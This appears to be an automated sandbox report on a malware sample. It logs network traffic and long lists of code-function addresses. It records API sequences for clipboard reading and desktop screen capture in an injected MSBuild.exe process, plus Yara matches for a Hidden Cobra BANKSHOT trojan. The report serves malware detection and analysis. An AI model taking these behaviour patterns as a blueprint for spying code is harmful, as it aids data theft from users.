Source: unknown	Network traffic detected: HTTP traffic on port 49936 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49929
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49928
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49927
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49926
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49925
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49924
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49923

Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.7:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.74.165:443 -> 192.168.2.7:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49760 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49766 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.7:49912 version: TLS 1.2

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 19_2_00438720 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

19_2_00438720

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 19_2_00438720 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

19_2_00438720

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_00419010 CreateStreamOnHGlobal,GetDesktopWindow,GetWindowRect,GetDC,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,GetHGlobalFromStream,GlobalLock,GlobalSize,SelectObject,DeleteObject,DeleteObject,ReleaseDC,CloseWindow,

1_2_00419010

System Summary

Malicious sample detected (through community Yara rule)

Source: 1.2.MSBuild.exe.42bbc8.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Hidden Cobra BANKSHOT trojan Author: Florian Roth
Source: 1.2.MSBuild.exe.400000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Hidden Cobra BANKSHOT trojan Author: Florian Roth
Source: 00000001.00000002.1742578907.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Hidden Cobra BANKSHOT trojan Author: Florian Roth

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C56B700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	1_2_6C56B700
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C56B8C0 rand_s,NtQueryVirtualMemory,	1_2_6C56B8C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C56B910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	1_2_6C56B910
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C50F280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	1_2_6C50F280

Source: C:\Users\user\Desktop\45Ywq5ad5H.exe	Code function: 0_2_009D2021	0_2_009D2021
Source: C:\Users\user\Desktop\45Ywq5ad5H.exe	Code function: 0_2_009D729C	0_2_009D729C
Source: C:\Users\user\Desktop\45Ywq5ad5H.exe	Code function: 0_2_009ED39B	0_2_009ED39B
Source: C:\Users\user\Desktop\45Ywq5ad5H.exe	Code function: 0_2_009E572C	0_2_009E572C
Source: C:\Users\user\Desktop\45Ywq5ad5H.exe	Code function: 0_2_009DCAF2	0_2_009DCAF2
Source: C:\Users\user\Desktop\45Ywq5ad5H.exe	Code function: 0_2_009EBB36	0_2_009EBB36
Source: C:\Users\user\Desktop\45Ywq5ad5H.exe	Code function: 0_2_009E3C92	0_2_009E3C92
Source: C:\Users\user\Desktop\45Ywq5ad5H.exe	Code function: 0_2_009D1D79	0_2_009D1D79
Source: C:\Users\user\Desktop\45Ywq5ad5H.exe	Code function: 0_2_009DFEF0	0_2_009DFEF0
Source: C:\Users\user\Desktop\45Ywq5ad5H.exe	Code function: 0_2_00A20F98	0_2_00A20F98
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C5035A0	1_2_6C5035A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C57545C	1_2_6C57545C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C515440	1_2_6C515440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C545C10	1_2_6C545C10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C552C10	1_2_6C552C10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C57AC00	1_2_6C57AC00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C57542B	1_2_6C57542B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C52D4D0	1_2_6C52D4D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C5164C0	1_2_6C5164C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C546CF0	1_2_6C546CF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C50D4E0	1_2_6C50D4E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C516C80	1_2_6C516C80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C5634A0	1_2_6C5634A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C56C4A0	1_2_6C56C4A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C530512	1_2_6C530512
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C52ED10	1_2_6C52ED10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C51FD00	1_2_6C51FD00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C540DD0	1_2_6C540DD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C5685F0	1_2_6C5685F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C529E50	1_2_6C529E50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C543E50	1_2_6C543E50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C524640	1_2_6C524640
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C552E4E	1_2_6C552E4E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C50C670	1_2_6C50C670
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C576E63	1_2_6C576E63
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C547E10	1_2_6C547E10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C555600	1_2_6C555600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C569E30	1_2_6C569E30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C50BEF0	1_2_6C50BEF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C51FEF0	1_2_6C51FEF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C5776E3	1_2_6C5776E3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C525E90	1_2_6C525E90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C56E680	1_2_6C56E680
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C564EA0	1_2_6C564EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C547710	1_2_6C547710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C519F00	1_2_6C519F00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C536FF0	1_2_6C536FF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C50DFE0	1_2_6C50DFE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C5577A0	1_2_6C5577A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C528850	1_2_6C528850
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C52D850	1_2_6C52D850
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C54F070	1_2_6C54F070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C517810	1_2_6C517810
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C54B820	1_2_6C54B820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C554820	1_2_6C554820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C5750C7	1_2_6C5750C7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C52C0E0	1_2_6C52C0E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C5458E0	1_2_6C5458E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C5360A0	1_2_6C5360A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C52A940	1_2_6C52A940
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C55B970	1_2_6C55B970
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C57B170	1_2_6C57B170
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C51D960	1_2_6C51D960
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C545190	1_2_6C545190
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C562990	1_2_6C562990
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C53D9B0	1_2_6C53D9B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C50C9A0	1_2_6C50C9A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C549A60	1_2_6C549A60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C548AC0	1_2_6C548AC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C521AF0	1_2_6C521AF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C54E2F0	1_2_6C54E2F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C57BA90	1_2_6C57BA90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C51CAB0	1_2_6C51CAB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C572AB0	1_2_6C572AB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C5022A0	1_2_6C5022A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C534AA0	1_2_6C534AA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C505340	1_2_6C505340
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C51C370	1_2_6C51C370
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C54D320	1_2_6C54D320
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C5753C8	1_2_6C5753C8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C50F380	1_2_6C50F380
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C5BAC60	1_2_6C5BAC60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C68AC30	1_2_6C68AC30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C676C00	1_2_6C676C00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C5AECC0	1_2_6C5AECC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C60ECD0	1_2_6C60ECD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C67ED70	1_2_6C67ED70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C6DAD50	1_2_6C6DAD50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C738D20	1_2_6C738D20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C73CDC0	1_2_6C73CDC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C5B4DB0	1_2_6C5B4DB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C646D90	1_2_6C646D90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C64EE70	1_2_6C64EE70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C690E20	1_2_6C690E20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C5BAEC0	1_2_6C5BAEC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C650EC0	1_2_6C650EC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C636E90	1_2_6C636E90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C672F70	1_2_6C672F70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C61EF40	1_2_6C61EF40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C5B6F10	1_2_6C5B6F10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C6F0F20	1_2_6C6F0F20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C68EFF0	1_2_6C68EFF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C5B0FE0	1_2_6C5B0FE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C6F8FB0	1_2_6C6F8FB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C5BEFB0	1_2_6C5BEFB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C684840	1_2_6C684840
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C600820	1_2_6C600820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C63A820	1_2_6C63A820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C6B68E0	1_2_6C6B68E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C69C8C0	1_2_6C69C8C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C5E8960	1_2_6C5E8960
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C606900	1_2_6C606900
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C6CC9E0	1_2_6C6CC9E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C5E49F0	1_2_6C5E49F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C6409A0	1_2_6C6409A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C66A9A0	1_2_6C66A9A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C6709B0	1_2_6C6709B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C62CA70	1_2_6C62CA70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C668A30	1_2_6C668A30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C65EA00	1_2_6C65EA00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C62EA80	1_2_6C62EA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C6B6BE0	1_2_6C6B6BE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C69EBD0	1_2_6C69EBD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C650BA0	1_2_6C650BA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C5C8460	1_2_6C5C8460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C614420	1_2_6C614420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C63A430	1_2_6C63A430
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C5F64D0	1_2_6C5F64D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C64A4D0	1_2_6C64A4D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C6DA480	1_2_6C6DA480
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C612560	1_2_6C612560
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C650570	1_2_6C650570
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C608540	1_2_6C608540
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C6B4540	1_2_6C6B4540
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C6F8550	1_2_6C6F8550
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C67A5E0	1_2_6C67A5E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C63E5F0	1_2_6C63E5F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C5A45B0	1_2_6C5A45B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C60C650	1_2_6C60C650
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C60E6E0	1_2_6C60E6E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C64E6E0	1_2_6C64E6E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C5D46D0	1_2_6C5D46D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C630700	1_2_6C630700
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C5DA7D0	1_2_6C5DA7D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C5FE070	1_2_6C5FE070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C67C000	1_2_6C67C000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C678010	1_2_6C678010
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C5A8090	1_2_6C5A8090
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C68C0B0	1_2_6C68C0B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C5C00B0	1_2_6C5C00B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C618140	1_2_6C618140
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C626130	1_2_6C626130
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C694130	1_2_6C694130
Source: C:\Users\userJKECGDBFCB.exe	Code function: 18_2_000C2021	18_2_000C2021
Source: C:\Users\userJKECGDBFCB.exe	Code function: 18_2_000F2088	18_2_000F2088
Source: C:\Users\userJKECGDBFCB.exe	Code function: 18_2_000F40C8	18_2_000F40C8
Source: C:\Users\userJKECGDBFCB.exe	Code function: 18_2_0011E132	18_2_0011E132
Source: C:\Users\userJKECGDBFCB.exe	Code function: 18_2_000F2123	18_2_000F2123
Source: C:\Users\userJKECGDBFCB.exe	Code function: 18_2_0011E1A8	18_2_0011E1A8
Source: C:\Users\userJKECGDBFCB.exe	Code function: 18_2_000EE1CF	18_2_000EE1CF
Source: C:\Users\userJKECGDBFCB.exe	Code function: 18_2_000EE27B	18_2_000EE27B
Source: C:\Users\userJKECGDBFCB.exe	Code function: 18_2_000F8278	18_2_000F8278
Source: C:\Users\userJKECGDBFCB.exe	Code function: 18_2_000EE272	18_2_000EE272
Source: C:\Users\userJKECGDBFCB.exe	Code function: 18_2_000EE455	18_2_000EE455
Source: C:\Users\userJKECGDBFCB.exe	Code function: 18_2_000F0488	18_2_000F0488
Source: C:\Users\userJKECGDBFCB.exe	Code function: 18_2_000EE527	18_2_000EE527
Source: C:\Users\userJKECGDBFCB.exe	Code function: 18_2_0011E738	18_2_0011E738
Source: C:\Users\userJKECGDBFCB.exe	Code function: 18_2_00128798	18_2_00128798
Source: C:\Users\userJKECGDBFCB.exe	Code function: 18_2_00134988	18_2_00134988
Source: C:\Users\userJKECGDBFCB.exe	Code function: 18_2_0010AA47	18_2_0010AA47
Source: C:\Users\userJKECGDBFCB.exe	Code function: 18_2_000F4AC8	18_2_000F4AC8
Source: C:\Users\userJKECGDBFCB.exe	Code function: 18_2_000CCAF2	18_2_000CCAF2
Source: C:\Users\userJKECGDBFCB.exe	Code function: 18_2_000F6D40	18_2_000F6D40
Source: C:\Users\userJKECGDBFCB.exe	Code function: 18_2_000F8D88	18_2_000F8D88
Source: C:\Users\userJKECGDBFCB.exe	Code function: 18_2_0011AD84	18_2_0011AD84
Source: C:\Users\userJKECGDBFCB.exe	Code function: 18_2_00134E98	18_2_00134E98
Source: C:\Users\userJKECGDBFCB.exe	Code function: 18_2_000FEF08	18_2_000FEF08
Source: C:\Users\userJKECGDBFCB.exe	Code function: 18_2_00130F18	18_2_00130F18
Source: C:\Users\userJKECGDBFCB.exe	Code function: 18_2_00136FA8	18_2_00136FA8
Source: C:\Users\userJKECGDBFCB.exe	Code function: 18_2_000FB078	18_2_000FB078
Source: C:\Users\userJKECGDBFCB.exe	Code function: 18_2_001251A8	18_2_001251A8
Source: C:\Users\userJKECGDBFCB.exe	Code function: 18_2_000F71D8	18_2_000F71D8
Source: C:\Users\userJKECGDBFCB.exe	Code function: 18_2_000C729C	18_2_000C729C
Source: C:\Users\userJKECGDBFCB.exe	Code function: 18_2_000DD39B	18_2_000DD39B
Source: C:\Users\userJKECGDBFCB.exe	Code function: 18_2_001233C8	18_2_001233C8
Source: C:\Users\userJKECGDBFCB.exe	Code function: 18_2_000F5468	18_2_000F5468
Source: C:\Users\userJKECGDBFCB.exe	Code function: 18_2_001094C8	18_2_001094C8
Source: C:\Users\userJKECGDBFCB.exe	Code function: 18_2_000D572C	18_2_000D572C
Source: C:\Users\userJKECGDBFCB.exe	Code function: 18_2_000F7728	18_2_000F7728
Source: C:\Users\userJKECGDBFCB.exe	Code function: 18_2_0012B778	18_2_0012B778
Source: C:\Users\userJKECGDBFCB.exe	Code function: 18_2_00131918	18_2_00131918
Source: C:\Users\userJKECGDBFCB.exe	Code function: 18_2_000DBB36	18_2_000DBB36
Source: C:\Users\userJKECGDBFCB.exe	Code function: 18_2_00119BA8	18_2_00119BA8
Source: C:\Users\userJKECGDBFCB.exe	Code function: 18_2_000D3C92	18_2_000D3C92
Source: C:\Users\userJKECGDBFCB.exe	Code function: 18_2_000C1D79	18_2_000C1D79
Source: C:\Users\userJKECGDBFCB.exe	Code function: 18_2_000F7DE8	18_2_000F7DE8
Source: C:\Users\userJKECGDBFCB.exe	Code function: 18_2_000EDED8	18_2_000EDED8
Source: C:\Users\userJKECGDBFCB.exe	Code function: 18_2_000CFEF0	18_2_000CFEF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 19_2_0043F620	19_2_0043F620
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 19_2_00444040	19_2_00444040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 19_2_00401000	19_2_00401000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 19_2_00412030	19_2_00412030
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 19_2_0044A0D0	19_2_0044A0D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 19_2_00405160	19_2_00405160
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 19_2_004071F0	19_2_004071F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 19_2_0040E1A0	19_2_0040E1A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 19_2_00410228	19_2_00410228
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 19_2_004382D0	19_2_004382D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 19_2_004312D0	19_2_004312D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 19_2_004012F7	19_2_004012F7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 19_2_0040A300	19_2_0040A300
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 19_2_004323E0	19_2_004323E0
